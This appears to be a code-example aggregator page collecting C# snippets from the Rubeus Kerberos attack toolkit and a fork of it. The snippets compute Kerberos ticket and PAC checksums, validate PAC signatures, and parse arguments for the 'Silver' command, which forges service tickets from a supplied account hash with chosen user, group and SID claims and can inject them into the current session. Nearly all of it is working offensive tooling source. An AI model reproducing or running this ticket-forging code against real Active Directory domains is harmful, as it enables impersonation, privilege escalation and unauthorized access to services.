コード例 #1
0
ファイル: EncTicketPart.cs プロジェクト: yuanqi-che/Kernelhub
        public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType)
        {
            byte[]        ticketChecksum   = null;
            byte[]        oldWin2kPacData  = null;
            PACTYPE       oldWin2kPac      = null;
            EncTicketPart tmpEncTicketPart = this;

            // find the PAC and place a zero in it's ad-data
            List <AuthorizationData> newAuthData = new List <AuthorizationData>();

            foreach (var tmpadData in tmpEncTicketPart.authorization_data)
            {
                ADIfRelevant tmpifrelevant = new ADIfRelevant();
                foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
                {
                    if (ifrelevant is ADWin2KPac win2k_pac)
                    {
                        oldWin2kPacData = win2k_pac.ad_data;
                        oldWin2kPac     = win2k_pac.Pac;
                        ADWin2KPac tmpWin2k = new ADWin2KPac();
                        tmpWin2k.ad_data = new byte[] { 0x00 };
                        tmpWin2k.Pac     = null;
                        tmpifrelevant.ADData.Add(tmpWin2k);
                    }
                    else
                    {
                        tmpifrelevant.ADData.Add(ifrelevant);
                    }
                }
                newAuthData.Add(tmpifrelevant);
            }
            tmpEncTicketPart.authorization_data = newAuthData;

            ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType);

            foreach (var tmpadData in tmpEncTicketPart.authorization_data)
            {
                ADIfRelevant tmpifrelevant = new ADIfRelevant();
                foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData)
                {
                    if (ifrelevant is ADWin2KPac win2k_pac)
                    {
                        win2k_pac.ad_data = oldWin2kPacData;
                        win2k_pac.Pac     = oldWin2kPac;
                    }
                }
            }

            return(ticketChecksum);
        }
コード例 #2
0
ファイル: Crypto.cs プロジェクト: yuanqi-che/Kernelhub
        // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
        public static byte[] KerberosChecksum(byte[] key, byte[] data, Interop.KERB_CHECKSUM_ALGORITHM cksumType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5, int keyUsage = Interop.KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT)
        {
            Interop.KERB_CHECKSUM pCheckSum;
            IntPtr pCheckSumPtr;
            int    status = Interop.CDLocateCheckSum(cksumType, out pCheckSumPtr);

            pCheckSum = (Interop.KERB_CHECKSUM)Marshal.PtrToStructure(pCheckSumPtr, typeof(Interop.KERB_CHECKSUM));
            if (status != 0)
            {
                throw new Win32Exception(status, "CDLocateCheckSum failed");
            }

            IntPtr Context;

            Interop.KERB_CHECKSUM_InitializeEx pCheckSumInitializeEx = (Interop.KERB_CHECKSUM_InitializeEx)Marshal.GetDelegateForFunctionPointer(pCheckSum.InitializeEx, typeof(Interop.KERB_CHECKSUM_InitializeEx));
            Interop.KERB_CHECKSUM_Sum          pCheckSumSum          = (Interop.KERB_CHECKSUM_Sum)Marshal.GetDelegateForFunctionPointer(pCheckSum.Sum, typeof(Interop.KERB_CHECKSUM_Sum));
            Interop.KERB_CHECKSUM_Finalize     pCheckSumFinalize     = (Interop.KERB_CHECKSUM_Finalize)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finalize, typeof(Interop.KERB_CHECKSUM_Finalize));
            Interop.KERB_CHECKSUM_Finish       pCheckSumFinish       = (Interop.KERB_CHECKSUM_Finish)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finish, typeof(Interop.KERB_CHECKSUM_Finish));

            // initialize the checksum
            // KERB_NON_KERB_CKSUM_SALT = 17
            int status2 = pCheckSumInitializeEx(key, key.Length, (int)keyUsage, out Context);

            if (status2 != 0)
            {
                throw new Win32Exception(status2);
            }

            // the output buffer for the checksum data
            byte[] checksumSrv = new byte[pCheckSum.Size];

            // actually checksum all the supplied data
            pCheckSumSum(Context, data.Length, data);

            // finish everything up
            pCheckSumFinalize(Context, checksumSrv);
            pCheckSumFinish(ref Context);

            return(checksumSrv);
        }
コード例 #3
0
ファイル: Checksum.cs プロジェクト: yuanqi-che/Kernelhub
        public Checksum(Interop.KERB_CHECKSUM_ALGORITHM cktype, byte[] data)
        {
            cksumtype = (int)cktype;

            checksum = data;
        }
コード例 #4
0
ファイル: EncTicketPart.cs プロジェクト: yuanqi-che/Kernelhub
        public Tuple <bool, bool, bool> ValidatePac(byte[] serviceKey, byte[] krbKey = null)
        {
            byte[] pacBytes = null;
            if (authorization_data != null)
            {
                foreach (var addata in authorization_data)
                {
                    foreach (var ifrelevant in ((ADIfRelevant)addata).ADData)
                    {
                        if (ifrelevant is ADWin2KPac win2k_pac)
                        {
                            pacBytes = win2k_pac.ad_data;
                        }
                    }
                }
            }
            if (pacBytes == null)
            {
                return(null);
            }
            BinaryReader br = new BinaryReader(new MemoryStream(pacBytes));
            int          cBuffers = br.ReadInt32();
            int          Version = br.ReadInt32();
            long         offset = 0, svrOffset = 0, kdcOffset = 0;

            Interop.KERB_CHECKSUM_ALGORITHM svrSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;
            Interop.KERB_CHECKSUM_ALGORITHM kdcSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;
            int svrLength = 12, kdcLength = 12;

            byte[] oldSvrSig = null, oldKdcSig = null;

            for (int idx = 0; idx < cBuffers; ++idx)
            {
                var type       = (PacInfoBufferType)br.ReadInt32();
                var bufferSize = br.ReadInt32();
                offset = br.ReadInt64();

                long oldPostion = br.BaseStream.Position;
                br.BaseStream.Position = offset;
                var pacData = br.ReadBytes(bufferSize);
                br.BaseStream.Position = oldPostion;
                BinaryReader brPacData = new BinaryReader(new MemoryStream(pacData));

                switch (type)
                {
                case PacInfoBufferType.KDCChecksum:
                    kdcOffset  = offset + 4;
                    kdcSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32();
                    if (kdcSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)
                    {
                        kdcLength = 16;
                    }
                    oldKdcSig = brPacData.ReadBytes(kdcLength);
                    break;

                case PacInfoBufferType.ServerChecksum:
                    svrOffset  = offset + 4;
                    svrSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32();
                    if (svrSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)
                    {
                        svrLength = 16;
                    }
                    oldSvrSig = brPacData.ReadBytes(svrLength);
                    break;
                }
            }

            byte[] svrZeros = new byte[svrLength], kdcZeros = new byte[kdcLength];
            Array.Clear(svrZeros, 0, svrLength);
            Array.Clear(kdcZeros, 0, kdcLength);
            Array.Copy(svrZeros, 0, pacBytes, svrOffset, svrLength);
            Array.Copy(kdcZeros, 0, pacBytes, kdcOffset, kdcLength);

            byte[] svrSig = Crypto.KerberosChecksum(serviceKey, pacBytes, svrSigType);

            if (krbKey == null)
            {
                return(Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), false, false));
            }

            byte[] kdcSig = Crypto.KerberosChecksum(krbKey, oldSvrSig, kdcSigType);
            return(Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), (Helpers.ByteArrayToString(oldKdcSig) == Helpers.ByteArrayToString(kdcSig)), ValidateTicketChecksum(krbKey)));
        }
コード例 #5
0
ファイル: Silver.cs プロジェクト: lunarobliq/Rubeus
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: Build TGS\r\n");

            string     user             = "";
            string     service          = "";
            int?       id               = null;
            string     sids             = "";
            string     groups           = "";
            string     displayName      = "";
            short?     logonCount       = null;
            short?     badPwdCount      = null;
            DateTime?  lastLogon        = null;
            DateTime?  logoffTime       = null;
            DateTime?  pwdLastSet       = null;
            int?       maxPassAge       = null;
            int?       minPassAge       = null;
            int?       pGid             = null;
            string     homeDir          = "";
            string     homeDrive        = "";
            string     profilePath      = "";
            string     scriptPath       = "";
            string     resourceGroupSid = "";
            List <int> resourceGroups   = null;

            Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT;

            string domain  = "";
            string dc      = "";
            string sid     = "";
            string netbios = "";

            bool   ldap         = false;
            string ldapuser     = null;
            string ldappassword = null;

            string hash = "";

            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
            byte[]             krbKey  = null;
            Interop.KERB_CHECKSUM_ALGORITHM krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;

            Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent;

            DateTime startTime     = DateTime.UtcNow;
            DateTime authTime      = startTime;
            DateTime?rangeEnd      = null;
            string   rangeInterval = "1d";
            string   endTime       = "";
            string   renewTill     = "";

            string outfile  = "";
            bool   ptt      = false;
            bool   printcmd = false;

            string cName                = null;
            string cRealm               = null;
            string s4uProxyTarget       = null;
            string s4uTransitedServices = null;
            bool   includeAuthData      = false;

            // user information mostly for the PAC
            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/sids"))
            {
                sids = arguments["/sids"];
            }
            if (arguments.ContainsKey("/groups"))
            {
                groups = arguments["/groups"];
            }
            if (arguments.ContainsKey("/id"))
            {
                id = Int32.Parse(arguments["/id"]);
            }
            if (arguments.ContainsKey("/pgid"))
            {
                pGid = Int32.Parse(arguments["/pgid"]);
            }
            if (arguments.ContainsKey("/displayname"))
            {
                displayName = arguments["/displayname"];
            }
            if (arguments.ContainsKey("/logoncount"))
            {
                logonCount = short.Parse(arguments["/logoncount"]);
            }
            if (arguments.ContainsKey("/badpwdcount"))
            {
                badPwdCount = short.Parse(arguments["/badpwdcount"]);
            }
            if (arguments.ContainsKey("/lastlogon"))
            {
                lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
            }
            if (arguments.ContainsKey("/logofftime"))
            {
                logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
            }
            if (arguments.ContainsKey("/pwdlastset"))
            {
                pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
            }
            if (arguments.ContainsKey("/maxpassage"))
            {
                maxPassAge = Int32.Parse(arguments["/maxpassage"]);
            }
            if (arguments.ContainsKey("/minpassage"))
            {
                minPassAge = Int32.Parse(arguments["/minpassage"]);
            }
            if (arguments.ContainsKey("/homedir"))
            {
                homeDir = arguments["/homedir"];
            }
            if (arguments.ContainsKey("/homedrive"))
            {
                homeDrive = arguments["/homedrive"];
            }
            if (arguments.ContainsKey("/profilepath"))
            {
                profilePath = arguments["/profilepath"];
            }
            if (arguments.ContainsKey("/scriptpath"))
            {
                scriptPath = arguments["/scriptpath"];
            }
            if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups"))
            {
                resourceGroupSid = arguments["/resourcegroupsid"];
                resourceGroups   = new List <int>();
                foreach (string rgroup in arguments["/resourcegroups"].Split(','))
                {
                    try
                    {
                        resourceGroups.Add(Int32.Parse(rgroup));
                    }
                    catch
                    {
                        Console.WriteLine("[!] Resource group value invalid: {0}", rgroup);
                    }
                }
            }
            if (arguments.ContainsKey("/uac"))
            {
                Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY;

                foreach (string u in arguments["/uac"].Split(','))
                {
                    Interop.PacUserAccountControl result;
                    bool status = Interop.PacUserAccountControl.TryParse(u, out result);

                    if (status)
                    {
                        tmp |= result;
                    }
                    else
                    {
                        Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u);
                    }
                }
                if (tmp != Interop.PacUserAccountControl.EMPTY)
                {
                    uac = tmp;
                }
            }

            // domain and DC information
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/sid"))
            {
                sid = arguments["/sid"];
            }
            if (arguments.ContainsKey("/netbios"))
            {
                netbios = arguments["/netbios"];
            }

            // getting the user information from LDAP
            if (arguments.ContainsKey("/ldap"))
            {
                ldap = true;
                if (arguments.ContainsKey("/creduser"))
                {
                    if (!arguments.ContainsKey("/credpassword"))
                    {
                        Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
                        return;
                    }

                    ldapuser     = arguments["/creduser"];
                    ldappassword = arguments["/credpassword"];
                }

                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name;
                }
            }

            // service name
            if (arguments.ContainsKey("/service"))
            {
                service = arguments["/service"];
            }
            else
            {
                Console.WriteLine("[X] SPN '/service:sname/server.domain.com' is required");
                return;
            }

            // encryption types
            encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified
            if (arguments.ContainsKey("/enctype"))
            {
                string encTypeString = arguments["/enctype"].ToUpper();

                if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
                {
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                else if (encTypeString.Equals("AES128"))
                {
                    encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
                {
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("DES"))
                {
                    encType = Interop.KERB_ETYPE.des_cbc_md5;
                }
            }

            if (arguments.ContainsKey("/des"))
            {
                hash    = arguments["/des"];
                encType = Interop.KERB_ETYPE.des_cbc_md5;
            }
            else if (arguments.ContainsKey("/rc4"))
            {
                hash    = arguments["/rc4"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/ntlm"))
            {
                hash    = arguments["/ntlm"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/aes128"))
            {
                hash    = arguments["/aes128"];
                encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
            }
            else if (arguments.ContainsKey("/aes256"))
            {
                hash    = arguments["/aes256"];
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }

            if (arguments.ContainsKey("/krbkey"))
            {
                krbKey = Helpers.StringToByteArray(arguments["/krbkey"]);
            }

            if (arguments.ContainsKey("/krbenctype"))
            {
                if (krbKey == null)
                {
                    Console.WriteLine("[!] '/krbkey' not specified ignoring the '/krbenctype' argument");
                }
                else
                {
                    string krbEncTypeString = arguments["/krbenctype"].ToUpper();

                    if (krbEncTypeString.Equals("RC4") || krbEncTypeString.Equals("NTLM") || krbEncTypeString.Equals("DES"))
                    {
                        krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5;
                    }
                    else if (krbEncTypeString.Equals("AES128"))
                    {
                        krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128;
                    }
                    else if (krbEncTypeString.Equals("AES256") || krbEncTypeString.Equals("AES"))
                    {
                        krbEncType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256;
                    }
                }
            }

            // flags
            if (arguments.ContainsKey("/flags"))
            {
                Interop.TicketFlags tmp = Interop.TicketFlags.empty;

                foreach (string flag in arguments["/flags"].Split(','))
                {
                    Interop.TicketFlags result;
                    bool status = Interop.TicketFlags.TryParse(flag, out result);

                    if (status)
                    {
                        tmp |= result;
                    }
                    else
                    {
                        Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag);
                    }
                }
                if (tmp != Interop.TicketFlags.empty)
                {
                    flags = tmp;
                }
            }

            // ticket times
            if (arguments.ContainsKey("/starttime"))
            {
                try
                {
                    startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
                }
                catch (Exception e)
                {
                    Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message);
                    return;
                }
            }
            if (arguments.ContainsKey("/authtime"))
            {
                try
                {
                    authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime();
                }
                catch (Exception e)
                {
                    Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message);
                    authTime = startTime;
                }
            }
            else if (arguments.ContainsKey("/starttime"))
            {
                authTime = startTime;
            }
            if (arguments.ContainsKey("/rangeend"))
            {
                rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]);
                if (rangeEnd == null)
                {
                    Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]);
                    rangeEnd = startTime;
                }
            }
            if (arguments.ContainsKey("/rangeinterval"))
            {
                rangeInterval = arguments["/rangeinterval"];
            }
            if (arguments.ContainsKey("/endtime"))
            {
                endTime = arguments["/endtime"];
            }
            if (arguments.ContainsKey("/renewtill"))
            {
                renewTill = arguments["/renewtill"];
            }

            // actions for the ticket(s)
            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }
            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            // print a command that could be used to recreate the ticket
            // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again
            if (arguments.ContainsKey("/printcmd"))
            {
                printcmd = true;
            }

            // unusual service ticket options
            if (arguments.ContainsKey("/cname"))
            {
                cName = arguments["/cname"];
            }
            if (arguments.ContainsKey("/crealm"))
            {
                cRealm = arguments["/crealm"];
            }
            if (arguments.ContainsKey("/s4uproxytarget"))
            {
                s4uProxyTarget = arguments["/s4uproxytarget"];
            }
            if (arguments.ContainsKey("/s4utransitedservices"))
            {
                s4uTransitedServices = arguments["/s4utransitedservices"];
            }
            if (arguments.ContainsKey("/authdata"))
            {
                includeAuthData = true;
            }

            // checks
            if (String.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (String.IsNullOrEmpty(hash))
            {
                Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n");
                return;
            }
            if (!String.IsNullOrEmpty(s4uProxyTarget) || !String.IsNullOrEmpty(s4uTransitedServices))
            {
                if (String.IsNullOrEmpty(s4uProxyTarget) || String.IsNullOrEmpty(s4uTransitedServices))
                {
                    Console.WriteLine("[X] Need to supply both '/s4uproxytarget' and '/s4utransitedservices'.\r\n");
                    return;
                }
            }

            if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
            {
                Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n");
                return;
            }
            else
            {
                ForgeTickets.ForgeTicket(
                    user,
                    service,
                    Helpers.StringToByteArray(hash),
                    encType,
                    krbKey,
                    krbEncType,
                    ldap,
                    ldapuser,
                    ldappassword,
                    sid,
                    domain,
                    netbios,
                    dc,
                    flags,
                    startTime,
                    rangeEnd,
                    rangeInterval,
                    authTime,
                    endTime,
                    renewTill,
                    id,
                    groups,
                    sids,
                    displayName,
                    logonCount,
                    badPwdCount,
                    lastLogon,
                    logoffTime,
                    pwdLastSet,
                    maxPassAge,
                    minPassAge,
                    pGid,
                    homeDir,
                    homeDrive,
                    profilePath,
                    scriptPath,
                    resourceGroupSid,
                    resourceGroups,
                    uac,
                    outfile,
                    ptt,
                    printcmd,
                    cName,
                    cRealm,
                    s4uProxyTarget,
                    s4uTransitedServices,
                    includeAuthData
                    );
                return;
            }
        }